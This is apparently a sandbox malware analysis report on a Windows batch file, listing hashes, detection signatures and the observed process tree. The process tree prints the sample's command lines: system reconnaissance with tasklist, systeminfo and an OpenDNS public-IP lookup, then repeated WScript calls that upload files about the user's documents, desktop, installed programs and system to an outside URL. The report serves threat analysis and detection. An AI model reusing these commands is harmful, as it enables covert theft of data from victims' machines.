Analysis

  • max time kernel
    118s
  • max time network
    124s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    11-10-2023 11:29

General

  • Target

    9859a4209ac3b00448b7552b993ff8120f0e7e7568b1c7ae55bf1f104889b3e7.bat

  • Size

    1KB

  • MD5

    168bcc063501d191d82aaa3a32741a12

  • SHA1

    4920bb4feb3483412b8ab9ae800900e56c1bcf2a

  • SHA256

    9859a4209ac3b00448b7552b993ff8120f0e7e7568b1c7ae55bf1f104889b3e7

  • SHA512

    83e525ac798bd5afdd32c0fc223237e9fbe703ff1dd517d516f11064c37c2a61b47c5283f40d7c16f8adc97cd9c2fd2f78bf3d930352625accb0b2f118eed392

Score
7/10

Malware Config

Signatures

  • Unexpected DNS network traffic destination 3 IoCs

    Network traffic to other servers than the configured DNS servers was detected on the DNS port.

  • Delays execution with timeout.exe 1 IoCs
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\9859a4209ac3b00448b7552b993ff8120f0e7e7568b1c7ae55bf1f104889b3e7.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1940
    • C:\Windows\system32\nslookup.exe
      nslookup myip.opendns.com resolver1.opendns.com
      2⤵
        PID:2620
      • C:\Windows\system32\tasklist.exe
        tasklist
        2⤵
        • Enumerates processes with tasklist
        • Suspicious use of AdjustPrivilegeToken
        PID:2660
      • C:\Windows\system32\systeminfo.exe
        systeminfo
        2⤵
        • Gathers system information
        PID:2760
      • C:\Windows\system32\timeout.exe
        timeout -t 5 /nobreak
        2⤵
        • Delays execution with timeout.exe
        PID:2576
      • C:\Windows\system32\wscript.exe
        WScript.exe unactivate.vbs "http://anrun.kr/movie/contents.php" "UUVOHKNL_userdown" "cuserdown.data"
        2⤵
          PID:2632
        • C:\Windows\system32\wscript.exe
          WScript.exe unactivate.vbs "http://anrun.kr/movie/contents.php" "UUVOHKNL_userdocu" "cuserdocu.data"
          2⤵
            PID:3012
          • C:\Windows\system32\wscript.exe
            WScript.exe unactivate.vbs "http://anrun.kr/movie/contents.php" "UUVOHKNL_userdesk" "cuserdesk.data"
            2⤵
              PID:2368
            • C:\Windows\system32\wscript.exe
              WScript.exe unactivate.vbs "http://anrun.kr/movie/contents.php" "UUVOHKNL_prog" "cprog.data"
              2⤵
                PID:2496
              • C:\Windows\system32\wscript.exe
                WScript.exe unactivate.vbs "http://anrun.kr/movie/contents.php" "UUVOHKNL_prog32" "cprog32.data"
                2⤵
                  PID:2252
                • C:\Windows\system32\wscript.exe
                  WScript.exe unactivate.vbs "http://anrun.kr/movie/contents.php" "UUVOHKNL_ipinfo" "ipinfo.data"
                  2⤵
                    PID:2868
                  • C:\Windows\system32\wscript.exe
                    WScript.exe unactivate.vbs "http://anrun.kr/movie/contents.php" "UUVOHKNL_tasklist" "tsklt.data"
                    2⤵
                      PID:2000
                    • C:\Windows\system32\wscript.exe
                      WScript.exe unactivate.vbs "http://anrun.kr/movie/contents.php" "UUVOHKNL_systeminfo" "systeminfo.data"
                      2⤵
                        PID:1532

                    Network

                    MITRE ATT&CK Enterprise v15

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                    Downloads